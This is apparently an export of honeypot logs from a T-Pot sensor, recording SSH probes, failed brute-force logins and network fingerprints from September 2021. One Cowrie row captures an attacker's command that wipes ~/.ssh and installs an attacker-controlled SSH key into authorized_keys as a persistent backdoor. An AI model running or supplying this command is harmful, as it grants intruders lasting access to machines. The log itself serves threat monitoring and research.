35111	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:18.547533+03	2021-09-20 15:15:02.818689+03	{"_id": "BgYZA3wBvYTbRNuEkFq3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:18.547533Z", "@timestamp": "2021-09-20T12:06:18.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35112	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:09.646664+03	2021-09-20 15:15:02.819689+03	{"_id": "sAYZA3wBvYTbRNuEbFki", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44734, "timestamp": "2021-09-20T12:06:09.646664", "@timestamp": "2021-09-20T12:06:09.646Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35113	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:09.468144+03	2021-09-20 15:15:02.82169+03	{"_id": "sQYZA3wBvYTbRNuEbVmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e4a806afc744", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:09.468144Z", "@timestamp": "2021-09-20T12:06:09.468Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
35114	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:06:10.423033+03	2021-09-20 15:15:02.823689+03	{"_id": "tQYZA3wBvYTbRNuEblmu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 19175, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2304, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1864662084906804, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 47465, "timestamp": "2021-09-20T12:06:10.423033Z", "@timestamp": "2021-09-20T12:06:10.423Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35115	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:10.483496+03	2021-09-20 15:15:02.824689+03	{"_id": "ugYZA3wBvYTbRNuEcFkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36072, "dest_port": 443, "timestamp": "2021-09-20T12:06:10.483496", "@timestamp": "2021-09-20T12:06:10.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35116	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:06:10.527207+03	2021-09-20 15:15:02.826694+03	{"_id": "uwYZA3wBvYTbRNuEcFkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36072, "timestamp": "2021-09-20T12:06:10.527207", "@timestamp": "2021-09-20T12:06:10.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35117	107.0.200.227	109.199.241.180	Suricata	2021-09-20 15:06:11.113354+03	2021-09-20 15:15:02.827692+03	{"_id": "ygYZA3wBvYTbRNuEclmW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:06:10.837076+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1745440235242964, "payload": "AAADzAYU11rd00DK+59C++oY6kjOpQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45400, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:06:11.113354Z", "@timestamp": "2021-09-20T12:06:11.113Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......Z..@...B....H.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	US
35118	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:10.976657+03	2021-09-20 15:15:02.82972+03	{"_id": "zQYZA3wBvYTbRNuEc1mV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45400, "timestamp": "2021-09-20T12:06:10.976657", "@timestamp": "2021-09-20T12:06:10.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35119	107.0.200.227	109.199.241.180	Fatt	2021-09-20 15:06:11.113354+03	2021-09-20 15:15:02.830721+03	{"_id": "zgYZA3wBvYTbRNuEc1mV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45400, "dest_port": 22, "timestamp": "2021-09-20T12:06:11.113354", "@timestamp": "2021-09-20T12:06:11.113Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
35120	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:11.949698+03	2021-09-20 15:15:02.83169+03	{"_id": "0AYZA3wBvYTbRNuEdVlZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:11.949698Z", "@timestamp": "2021-09-20T12:06:11.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35121	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:06:11.765165+03	2021-09-20 15:15:02.83269+03	{"_id": "0wYZA3wBvYTbRNuEdVlZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.failed", "message": "login attempt [buero/buero] failed", "session": "ffcdeef93d35", "@version": "1", "password": "buero", "username": "buero", "timestamp": "2021-09-20T12:06:11.765165Z", "@timestamp": "2021-09-20T12:06:11.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
35122	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:12.320776+03	2021-09-20 15:15:02.83469+03	{"_id": "1gYZA3wBvYTbRNuEdVla", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "96.78.175.36", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3717057704925537, "duplicate": true, "timestamp": "2021-09-20T12:06:12.320776Z", "@timestamp": "2021-09-20T12:06:12.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35123	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:11.949151+03	2021-09-20 15:15:02.836692+03	{"_id": "1AYZA3wBvYTbRNuEdVlZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:11.949151Z", "@timestamp": "2021-09-20T12:06:11.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35124	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:12.590637+03	2021-09-20 15:15:02.83769+03	{"_id": "2QYZA3wBvYTbRNuEeVlE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:12.590637Z", "@timestamp": "2021-09-20T12:06:12.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35125	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:06:23.558107+03	2021-09-20 15:15:02.83869+03	{"_id": "OAYZA3wBvYTbRNuEpFpF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.login.failed", "message": "login attempt [austin/austin] failed", "session": "c19ca68a5462", "@version": "1", "password": "austin", "username": "austin", "timestamp": "2021-09-20T12:06:23.558107Z", "@timestamp": "2021-09-20T12:06:23.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
